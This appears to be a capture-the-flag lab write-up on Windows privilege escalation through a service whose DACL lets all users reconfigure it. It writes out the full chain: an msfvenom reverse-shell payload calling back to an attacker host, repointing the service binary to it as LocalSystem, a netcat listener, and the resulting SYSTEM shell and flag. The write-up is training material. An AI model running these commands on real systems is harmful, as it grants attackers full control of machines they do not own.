← Back to Windows Privilege Escalation

Enumeration

Checked the service DACL using AccessChk:

C:\tools\AccessChk\accesschk64.exe -qlc THMService

Output:

BUILTIN\Users: SERVICE_ALL_ACCESS

Every user on the machine had full control over the service configuration. Binary path, run-as account, everything.

Generating the Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=4447 -f exe-service -o rev-svc3.exe

Downloaded to the target and set permissions:

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Reconfigured the service to execute the payload as LocalSystem:

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Started the listener on Kali:

nc -lvnp 4447

Stopped and restarted the service:

sc stop THMService
sc start THMService

Shell Lands

AccessChk confirming SERVICE_ALL_ACCESS for BUILTIN\Users sc config reconfiguring THMService to run malicious payload as LocalSystem Reverse shell landing as NT AUTHORITY\SYSTEM Administrator desktop flag retrieved

Reverse shell connected back as:

NT AUTHORITY\SYSTEM
THM{INSECURE_SVC_CONFIG}

Why This Works

Service DACLs are a separate attack surface from file permissions. A service binary can be completely locked down and still be exploitable if the service configuration itself is writable.

SERVICE_ALL_ACCESS for BUILTIN\Users means any local user can change what the service runs and who it runs as. Pointing it at a payload and setting obj= LocalSystem hands over the highest privilege level on the machine.

AccessChk is the right tool for this enumeration step. icacls shows file permissions but tells you nothing about service DACLs. They require separate checks.

← Back to Windows Privilege Escalation